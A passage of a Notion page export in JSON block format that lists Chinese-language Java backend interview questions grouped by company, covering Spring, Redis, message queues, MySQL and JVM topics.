一级缓存,二级缓存"]]},"created_time":1712329333035,"last_edited_time":1712329333035,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"95129ac8-edba-4b42-82d9-c30c66a3cd0d":{"value":{"id":"95129ac8-edba-4b42-82d9-c30c66a3cd0d","type":"bulleted_list","properties":{"title":[["工厂模式有哪些?"]]},"created_time":1712329333035,"last_edited_time":1712329333035,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"0d898caa-821e-49ed-b7a4-bcbc125dedb1":{"value":{"id":"0d898caa-821e-49ed-b7a4-bcbc125dedb1","type":"bulleted_list","properties":{"title":[["Spring和JDK中有用到哪些设计模式?"]]},"created_time":1712329333035,"last_edited_time":1712329333035,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"b0bfb62e-cacb-4722-8da4-a4fbf36f05a6":{"value":{"id":"b0bfb62e-cacb-4722-8da4-a4fbf36f05a6","type":"bulleted_list","properties":{"title":[["说说你项目中有用到哪些设计模式?"]]},"created_time":1712329333036,"last_edited_time":1712329333036,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"9b8f6628-cea4-46d7-ac62-b931e23e08de":{"value":{"id":"9b8f6628-cea4-46d7-ac62-b931e23e08de","type":"bulleted_list","properties":{"title":[["静态代理和动态代理的区别?"]]},"created_time":1712329333036,"last_edited_time":1712329333036,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"20cda2e2-5430-4c03-8cee-8aee88506998":{"value":{"id":"20cda2e2-5430-4c03-8cee-8aee88506998","type":"bulleted_list","properties":{"title":[["动态代理有哪几种,区别是什么?"]]},"created_time":1712329333036,"last_edited_time":1712329333036,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"abee7638-adc4-45e8-a2ba-4e275e7dee5b":{"value":{"id":"abee7638-adc4-45e8-a2ba-4e275e7dee5b","type":"bulleted_list","properties":{"title":[["如何解决Spring的循环依赖?"]]},"created_time":1712329333036,"last_edited_time":1712329333036,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"abb12ac5-5fd9-4926-ae40-5eebf4b9216b":{"value":{"id":"abb12ac5-5fd9-4926-ae40-5eebf4b9216b","type":"bulleted_list","properties":{"title":[["Spring的AOP,过滤器,拦截器执行顺序?"]]},"created_time":1712329333036,"last_edited_time":1712329333036,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"6c58dc75-88e2-4e9b-a4f2-058f553ff7c0":{"value":{"id":"6c58dc75-88e2-4e9b-a4f2-058f553ff7c0","type":"bulleted_list","properties":{"title":[["Spring如何获取上下文?"]]},"created_time":1712329333037,"last_edited_time":1712329333037,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"b584c686-6444-4214-bbbc-961d7909df23":{"value":{"id":"b584c686-6444-4214-bbbc-961d7909df23","type":"bulleted_list","properties":{"title":[["Spring中enable注解的实现原理?例如EnableEurake"]]},"created_time":1712329333037,"last_edited_time":1712329333037,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"87a028cb-596d-4b51-8e84-375168d3f0b9":{"value":{"id":"87a028cb-596d-4b51-8e84-375168d3f0b9","type":"bulleted_list","properties":{"title":[["Redis中bitmap应用场景?"]]},"created_time":1712329333037,"last_edited_time":1712329333037,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"5251e412-42bb-4d18-b804-c9603e20ae22":{"value":{"id":"5251e412-42bb-4d18-b804-c9603e20ae22","type":"bulleted_list","properties":{"title":[["按月登录统计,有的月28天,有的30天怎么解决?"]]},"created_time":1712329333037,"last_edited_time":1712329333037,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"73861fd3-4751-454f-9ec0-40df5c4b5a5d":{"value":{"id":"73861fd3-4751-454f-9ec0-40df5c4b5a5d","type":"bulleted_list","properties":{"title":[["你项目中Redis用到了哪些数据结构?"]]},"created_time":1712329333037,"last_edited_time":1712329333037,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"08016374-e0eb-4d4c-aa60-6f5d64f329d6":{"value":{"id":"08016374-e0eb-4d4c-aa60-6f5d64f329d6","type":"bulleted_list","properties":{"title":[["Redis GEO类型用法?"]]},"created_time":1712329333037,"last_edited_time":1712329333037,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"c5272e4f-8380-44da-bd98-1581ce951483":{"value":{"id":"c5272e4f-8380-44da-bd98-1581ce951483","type":"bulleted_list","properties":{"title":[["Redis 一个key最大存储多大数据?"]]},"created_time":1712329333038,"last_edited_time":1712329333038,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"06c23523-11ab-470b-9201-b033deacc906":{"value":{"id":"06c23523-11ab-470b-9201-b033deacc906","type":"bulleted_list","properties":{"title":[["你项目中Redis集群用的是什么?"]]},"created_time":1712329333038,"last_edited_time":1712329333038,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"3d2a7c71-fa9a-487d-81a8-273c8c258bd0":{"value":{"id":"3d2a7c71-fa9a-487d-81a8-273c8c258bd0","type":"bulleted_list","properties":{"title":[["主从复制和Redis Cluster有什么区别?"]]},"created_time":1712329333038,"last_edited_time":1712329333038,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"7fd61f52-6b7b-4cca-ac9e-a3dc844a23b3":{"value":{"id":"7fd61f52-6b7b-4cca-ac9e-a3dc844a23b3","type":"bulleted_list","properties":{"title":[["Redis Cluster负载均衡原理是什么?"]]},"created_time":1712329333038,"last_edited_time":1712329333038,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"fbc72dbf-7c0d-4921-a12b-32736b843d10":{"value":{"id":"fbc72dbf-7c0d-4921-a12b-32736b843d10","type":"bulleted_list","properties":{"title":[["说说数据库,redis,zookeeper实现分布式锁有什么区别?"]]},"created_time":1712329333038,"last_edited_time":1712329333038,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"07f0a7d2-c8f7-48e5-9c1c-2b258116e414":{"value":{"id":"07f0a7d2-c8f7-48e5-9c1c-2b258116e414","type":"bulleted_list","properties":{"title":[["zookeeper的节点类型"]]},"created_time":1712329333038,"last_edited_time":1712329333038,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"8e7975fa-854e-44b9-b5b9-f9fdab3b9959":{"value":{"id":"8e7975fa-854e-44b9-b5b9-f9fdab3b9959","type":"bulleted_list","properties":{"title":[["zookeeper的Paxos算法和zab协议"]]},"created_time":1712329333038,"last_edited_time":1712329333038,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"90aa20b4-c687-443a-8687-aec12384f5d7":{"value":{"id":"90aa20b4-c687-443a-8687-aec12384f5d7","type":"bulleted_list","properties":{"title":[["Cap理论有了解吗?zookeeper是cp还是ap?"]]},"created_time":1712329333039,"last_edited_time":1712329333039,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"2f7a4b0b-ba7b-44a4-b211-bb39fdffac43":{"value":{"id":"2f7a4b0b-ba7b-44a4-b211-bb39fdffac43","type":"bulleted_list","properties":{"title":[["Eurake的原理有看过吗?"]]},"created_time":1712329333039,"last_edited_time":1712329333039,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"57990cd3-06da-4c68-84eb-0d573afd4db3":{"value":{"id":"57990cd3-06da-4c68-84eb-0d573afd4db3","type":"bulleted_list","properties":{"title":[["为什么Eurake那么快?"]]},"created_time":1712329333039,"last_edited_time":1712329333039,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"78571eff-99a2-496b-acf4-456d52045216":{"value":{"id":"78571eff-99a2-496b-acf4-456d52045216","type":"bulleted_list","properties":{"title":[["Eurake和zookeeper作为注册有什么区别?"]]},"created_time":1712329333039,"last_edited_time":1712329333039,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"3dc854d9-e42b-4580-b9c1-19298ba7279a":{"value":{"id":"3dc854d9-e42b-4580-b9c1-19298ba7279a","type":"bulleted_list","properties":{"title":[["Eurake挂了,a服务还能调到b服务吗?"]]},"created_time":1712329333039,"last_edited_time":1712329333039,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"105bb71b-79b8-43ae-941f-c5e98b106191":{"value":{"id":"105bb71b-79b8-43ae-941f-c5e98b106191","type":"bulleted_list","properties":{"title":[["聊一下springcloud的组件?"]]},"created_time":1712329333039,"last_edited_time":1712329333039,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"e428c157-f663-4464-a0c5-4aa229daed90":{"value":{"id":"e428c157-f663-4464-a0c5-4aa229daed90","type":"bulleted_list","properties":{"title":[["Ribbon的负载均衡策略有哪些?"]]},"created_time":1712329333040,"last_edited_time":1712329333040,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"ce3866e3-6e1c-492b-b75f-ef8e2a2eed73":{"value":{"id":"ce3866e3-6e1c-492b-b75f-ef8e2a2eed73","type":"bulleted_list","properties":{"title":[["Ribbon是怎么实现灰度发布的?"]]},"created_time":1712329333040,"last_edited_time":1712329333040,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"9a0bf84a-ab84-4a57-9c62-4d024809d568":{"value":{"id":"9a0bf84a-ab84-4a57-9c62-4d024809d568","type":"bulleted_list","properties":{"title":[["聊聊RocketMQ的架构"]]},"created_time":1712329333040,"last_edited_time":1712329333040,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"2f24d351-e50c-4570-991d-11908666e61b":{"value":{"id":"2f24d351-e50c-4570-991d-11908666e61b","type":"bulleted_list","properties":{"title":[["RocketMQ如何发送顺序消息?"]]},"created_time":1712329333040,"last_edited_time":1712329333040,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"fe689d78-a3a0-4ad5-b85f-efa0939987a6":{"value":{"id":"fe689d78-a3a0-4ad5-b85f-efa0939987a6","type":"bulleted_list","properties":{"title":[["RocketMQ如何解决消息挤压?"]]},"created_time":1712329333040,"last_edited_time":1712329333040,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"9a1264e0-5b30-4f2a-924d-878bba5b096b":{"value":{"id":"9a1264e0-5b30-4f2a-924d-878bba5b096b","type":"bulleted_list","properties":{"title":[["生产者发送消息失败了怎么处理?"]]},"created_time":1712329333041,"last_edited_time":1712329333041,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"d7807b9a-96c9-4c13-af56-7591e3e22de6":{"value":{"id":"d7807b9a-96c9-4c13-af56-7591e3e22de6","type":"bulleted_list","properties":{"title":[["聊聊kafka的架构"]]},"created_time":1712329333041,"last_edited_time":1712329333041,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"b2040182-3654-4056-9736-8ec2e93c36e0":{"value":{"id":"b2040182-3654-4056-9736-8ec2e93c36e0","type":"bulleted_list","properties":{"title":[["kafka从节点能写数据吗?"]]},"created_time":1712329333041,"last_edited_time":1712329333041,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"1c552144-adca-4559-826e-13063b046529":{"value":{"id":"1c552144-adca-4559-826e-13063b046529","type":"bulleted_list","properties":{"title":[["kafka从节点怎么同步数据的?"]]},"created_time":1712329333041,"last_edited_time":1712329333041,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"fa7566e3-c93c-45a4-b9c4-79e94ddc2e98":{"value":{"id":"fa7566e3-c93c-45a4-b9c4-79e94ddc2e98","type":"bulleted_list","properties":{"title":[["有用过es吗?倒排算法知道吗?"]]},"created_time":1712329333041,"last_edited_time":1712329333041,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"035f5536-f51d-4967-9f7f-c57ab2de5036":{"value":{"id":"035f5536-f51d-4967-9f7f-c57ab2de5036","type":"text","created_time":1712329333041,"last_edited_time":1712456543786,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"5f615917-a407-404d-8937-65a1798631fe":{"value":{"id":"5f615917-a407-404d-8937-65a1798631fe","type":"text","created_time":1712329333042,"last_edited_time":1712456543196,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"9947fb53-0e8f-4b38-8e3c-02e25bccd2ba":{"value":{"id":"9947fb53-0e8f-4b38-8e3c-02e25bccd2ba","type":"header","properties":{"title":[["47.比特大陆"]]},"created_time":1712329333042,"last_edited_time":1712456554633,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"28054297-a1a4-47b2-9dcd-c74a94a71ff6":{"value":{"id":"28054297-a1a4-47b2-9dcd-c74a94a71ff6","type":"bulleted_list","properties":{"title":[["为什么项目采用Dubbo,和springcloud的区别"]]},"created_time":1712329333042,"last_edited_time":1712329333042,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"4ee4bc09-30d0-4fa8-b924-7fb27659c394":{"value":{"id":"4ee4bc09-30d0-4fa8-b924-7fb27659c394","type":"bulleted_list","properties":{"title":[["接上,dubbo协议和http协议区别"]]},"created_time":1712329333042,"last_edited_time":1712329333042,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"fd80de35-db55-4542-8fa3-e4f7c7f6c37f":{"value":{"id":"fd80de35-db55-4542-8fa3-e4f7c7f6c37f","type":"bulleted_list","properties":{"title":[["mysql建表如果不声明主键会怎么样,为什么一般要主动声明主键"]]},"created_time":1712329333043,"last_edited_time":1712329333043,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"b86ef14d-b14a-4e60-bb36-0254d6a1ead5":{"value":{"id":"b86ef14d-b14a-4e60-bb36-0254d6a1ead5","type":"bulleted_list","properties":{"title":[["mysql表是越小越好吗,为什么"]]},"created_time":1712329333043,"last_edited_time":1712329333043,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"8e6d759b-ac73-4dcc-b571-f1dcfeac628e":{"value":{"id":"8e6d759b-ac73-4dcc-b571-f1dcfeac628e","type":"bulleted_list","properties":{"title":[["Redis数据结构,持久化方式有哪几种,主从复制流程"]]},"created_time":1712329333043,"last_edited_time":1712329333043,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"6a1c828b-7576-45b2-8155-9fea97aa63f6":{"value":{"id":"6a1c828b-7576-45b2-8155-9fea97aa63f6","type":"bulleted_list","properties":{"title":[["Spring注入方式有哪几种"]]},"created_time":1712329333043,"last_edited_time":1712329333043,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"e0d0b615-dea9-4b2f-a60f-ff86b388bda1":{"value":{"id":"e0d0b615-dea9-4b2f-a60f-ff86b388bda1","type":"bulleted_list","properties":{"title":[["K8s作用是什么,为什么要采用K8s,和xx(没听清)区别是什么"]]},"created_time":1712329333043,"last_edited_time":1712329333043,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"9a58adb5-7254-4da5-92a0-4089f5d45459":{"value":{"id":"9a58adb5-7254-4da5-92a0-4089f5d45459","type":"header","properties":{"title":[["48.美团"]]},"created_time":1712329333043,"last_edited_time":1712456593617,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"138dd731-978f-4b0b-b6e1-6951589bcd35":{"value":{"id":"138dd731-978f-4b0b-b6e1-6951589bcd35","type":"bulleted_list","properties":{"title":[["ThreadLocal 里为啥要用 WeakReference。"]]},"created_time":1712329333044,"last_edited_time":1712329333044,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"6ce164d6-d54a-4312-87fd-f57153c9b5bc":{"value":{"id":"6ce164d6-d54a-4312-87fd-f57153c9b5bc","type":"bulleted_list","properties":{"title":[["Tomcat 为什么要自定义 ClassLoader、为什么要破坏双亲委派"]]},"created_time":1712329333044,"last_edited_time":1712329333044,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"e9af1d75-e494-4405-8a62-6493f3f2d4eb":{"value":{"id":"e9af1d75-e494-4405-8a62-6493f3f2d4eb","type":"bulleted_list","properties":{"title":[["Lombok实现原理。AnnotationProcessing,抽象语法树、compile-time解决"]]},"created_time":1712329333044,"last_edited_time":1712456598452,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"b5f31901-2a34-41d7-b302-5dba36313daa":{"value":{"id":"b5f31901-2a34-41d7-b302-5dba36313daa","type":"bulleted_list","properties":{"title":[["Spring 循环依赖解决?为啥要用三级缓存来解决?"]]},"created_time":1712329333044,"last_edited_time":1712329333044,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"bc9871c3-e1d0-48d9-b52f-0833016c1f81":{"value":{"id":"bc9871c3-e1d0-48d9-b52f-0833016c1f81","type":"bulleted_list","properties":{"title":[["MVCC 为啥要有?"]]},"created_time":1712329333044,"last_edited_time":1712329333044,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"d7b194f8-9136-42c2-a251-bf7ca4f70917":{"value":{"id":"d7b194f8-9136-42c2-a251-bf7ca4f70917","type":"bulleted_list","properties":{"title":[["如何理解 复用"]]},"created_time":1712329333045,"last_edited_time":1712329333045,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"9a3c9c32-be6a-43e7-8c48-aca485c61fb0":{"value":{"id":"9a3c9c32-be6a-43e7-8c48-aca485c61fb0","type":"bulleted_list","properties":{"title":[["怎样让 java 线程停下来"]]},"created_time":1712329333045,"last_edited_time":1712329333045,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"53cdbf7f-ad94-48ee-9db6-3a660477d7f6":{"value":{"id":"53cdbf7f-ad94-48ee-9db6-3a660477d7f6","type":"header","properties":{"title":[["49.Shein"]]},"created_time":1712329333045,"last_edited_time":1712456600591,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"a284a8a7-f331-4a3d-9ba2-28072400f4e3":{"value":{"id":"a284a8a7-f331-4a3d-9ba2-28072400f4e3","type":"bulleted_list","properties":{"title":[["Java类加载过程,如何加载一个不在classpath下的类"]]},"created_time":1712329333045,"last_edited_time":1712329333045,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"04d8bab9-eec6-4d69-8936-dc99cf67269b":{"value":{"id":"04d8bab9-eec6-4d69-8936-dc99cf67269b","type":"bulleted_list","properties":{"title":[["Spring:1)@resource 和@Autowire区别。如何在spring容器启动后打印一段话 3)BeanFactory 和FactoryBean区别)如何自定义starter 5)注解的扫描流程"]]},"created_time":1712329333045,"last_edited_time":1712456655427,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"3f0e6239-8f1d-4c11-b9a6-4dda0460ff5f":{"value":{"id":"3f0e6239-8f1d-4c11-b9a6-4dda0460ff5f","type":"bulleted_list","properties":{"title":[["线程池参数解释,分析从开始到拒绝策略流程,核心线程可以回收吗"]]},"created_time":1712329333045,"last_edited_time":1712329333045,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"9e05ec4d-43f9-4092-98b8-b82ef27c8e4b":{"value":{"id":"9e05ec4d-43f9-4092-98b8-b82ef27c8e4b","type":"bulleted_list","properties":{"title":[["为什么阿里规范不推荐使用Executors创建线程池"]]},"created_time":1712329333046,"last_edited_time":1712329333046,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"a7966a5f-c6e3-4cca-ae75-3bc0e07e9af8":{"value":{"id":"a7966a5f-c6e3-4cca-ae75-3bc0e07e9af8","type":"bulleted_list","properties":{"title":[["Redis命令执行流程,Redis集群默认多少个slot,怎么分配的,key分配流程"]]},"created_time":1712329333046,"last_edited_time":1712456663790,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"a03dc3a2-1c06-4a51-8cd7-41ac22fd8a77":{"value":{"id":"a03dc3a2-1c06-4a51-8cd7-41ac22fd8a77","type":"bulleted_list","properties":{"title":[["如果让你制定Redis规范你会怎么做,为什么不能声明大key"]]},"created_time":1712329333046,"last_edited_time":1712329333046,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"7926e47f-2f6a-4401-94a6-314674f2a7d5":{"value":{"id":"7926e47f-2f6a-4401-94a6-314674f2a7d5","type":"bulleted_list","properties":{"title":[["为什么RocketMQ那么快"]]},"created_time":1712329333046,"last_edited_time":1712329333046,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"49743fc4-b5fd-4944-81e0-7a5cf46f3f87":{"value":{"id":"49743fc4-b5fd-4944-81e0-7a5cf46f3f87","type":"bulleted_list","properties":{"title":[["RocketMQ怎么保证顺序消费,怎么处理消息堆积"]]},"created_time":1712329333046,"last_edited_time":1712329333046,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"a9f1cc65-2653-49bc-9420-778aa074e5b1":{"value":{"id":"a9f1cc65-2653-49bc-9420-778aa074e5b1","type":"bulleted_list","properties":{"title":[["场景:实现一个排行榜,有2000w数据,只取top100怎么设计"]]},"created_time":1712329333046,"last_edited_time":1712329333046,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"455e2bbe-36a0-47ab-b7e3-f7c4262d6d8f":{"value":{"id":"455e2bbe-36a0-47ab-b7e3-f7c4262d6d8f","type":"bulleted_list","properties":{"title":[["怎么设计一个微服务系统"]]},"created_time":1712329333047,"last_edited_time":1712329333047,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"c5640af6-e9f1-491f-bb53-178a0d9f7c44":{"value":{"id":"c5640af6-e9f1-491f-bb53-178a0d9f7c44","type":"header","properties":{"title":[["50.同花顺"]]},"created_time":1712329333047,"last_edited_time":1712456675097,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"39289ef4-e7fb-4903-bd59-e8de8686976c":{"value":{"id":"39289ef4-e7fb-4903-bd59-e8de8686976c","type":"bulleted_list","properties":{"title":[["我看你公司用kafka,简历上写的rocketmq,这两者有什么区别"]]},"created_time":1712329333047,"last_edited_time":1712329333047,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"b932ad69-ed11-48fd-8334-826baef89d95":{"value":{"id":"b932ad69-ed11-48fd-8334-826baef89d95","type":"bulleted_list","properties":{"title":[["kafka你们用来干什么用"]]},"created_time":1712329333047,"last_edited_time":1712329333047,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"50355e2c-5d61-461c-9144-517fae3d6b5a":{"value":{"id":"50355e2c-5d61-461c-9144-517fae3d6b5a","type":"bulleted_list","properties":{"title":[["线程实现方式有几种:说了四种"]]},"created_time":1712329333047,"last_edited_time":1712329333047,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"b703842a-97b0-4e2f-9921-43a6412b5577":{"value":{"id":"b703842a-97b0-4e2f-9921-43a6412b5577","type":"bulleted_list","properties":{"title":[["string,stringbuilder,stringbuffer区别,为什么要用stringbuilder而不用string"]]},"created_time":1712329333047,"last_edited_time":1712456688521,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"ec268668-f65b-4577-bf45-3ead79712e2d":{"value":{"id":"ec268668-f65b-4577-bf45-3ead79712e2d","type":"bulleted_list","properties":{"title":[["堆和栈的区别"]]},"created_time":1712329333048,"last_edited_time":1712329333048,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"7b4ab354-236c-4c2d-9768-e1b37d5166bc":{"value":{"id":"7b4ab354-236c-4c2d-9768-e1b37d5166bc","type":"bulleted_list","properties":{"title":[["hashmap 和 concurrenthashmap什么区别"]]},"created_time":1712329333048,"last_edited_time":1712329333048,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"55c21fa2-e4ef-4780-bb89-856922700695":{"value":{"id":"55c21fa2-e4ef-4780-bb89-856922700695","type":"bulleted_list","properties":{"title":[["mysql的存储引擎用的哪个,为什么,数据机构怎样的"]]},"created_time":1712329333048,"last_edited_time":1712329333048,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"6a76fa35-0814-424d-ab3d-ee05e5aa16fb":{"value":{"id":"6a76fa35-0814-424d-ab3d-ee05e5aa16fb","type":"bulleted_list","properties":{"title":[["你们业务上定义异常继承的runtimeexception 为什么不直接继承exception\n为什么?"]]},"created_time":1712329333048,"last_edited_time":1712329333048,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"a6f517d1-1b1a-4749-af01-ea09dc94b253":{"value":{"id":"a6f517d1-1b1a-4749-af01-ea09dc94b253","type":"bulleted_list","properties":{"title":[["范型用过吗?用在什么场景 ,一个方法后面接了个范型参数代表什么"]]},"created_time":1712329333048,"last_edited_time":1712329333048,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"3224b5af-f8cc-4e2c-b528-97dc657780ba":{"value":{"id":"3224b5af-f8cc-4e2c-b528-97dc657780ba","type":"bulleted_list","properties":{"title":[["object 里面有什么方法"]]},"created_time":1712329333048,"last_edited_time":1712329333048,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"b987bb2b-43a9-4d70-8ed8-13bd4cac6fca":{"value":{"id":"b987bb2b-43a9-4d70-8ed8-13bd4cac6fca","type":"bulleted_list","properties":{"title":[["比较两个对象是否相等,为什么要重写equals,hashcode不用重写吗"]]},"created_time":1712329333049,"last_edited_time":1712329333049,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"846df388-e7a6-4b84-b11b-7c6dd5801b84":{"value":{"id":"846df388-e7a6-4b84-b11b-7c6dd5801b84","type":"bulleted_list","properties":{"title":[["浅拷贝和深拷贝的区别"]]},"created_time":1712329333049,"last_edited_time":1712329333049,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"5676c8c3-a4c0-4b22-ab0f-a59078462558":{"value":{"id":"5676c8c3-a4c0-4b22-ab0f-a59078462558","type":"bulleted_list","properties":{"title":[["java8多了哪些新特性,为什么多出了元空间,有什么用。"]]},"created_time":1712329333049,"last_edited_time":1712329333049,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"454c7e44-19bb-427d-a566-c890599ba58d":{"value":{"id":"454c7e44-19bb-427d-a566-c890599ba58d","type":"bulleted_list","properties":{"title":[["抽象类和接口有什么区别"]]},"created_time":1712329333049,"last_edited_time":1712329333049,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"ffd5a3f5-fff5-4ee2-bab6-a550ed0d6f46":{"value":{"id":"ffd5a3f5-fff5-4ee2-bab6-a550ed0d6f46","type":"bulleted_list","properties":{"title":[["栈溢出和堆溢出如何排查"]]},"created_time":1712329333049,"last_edited_time":1712329333049,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","p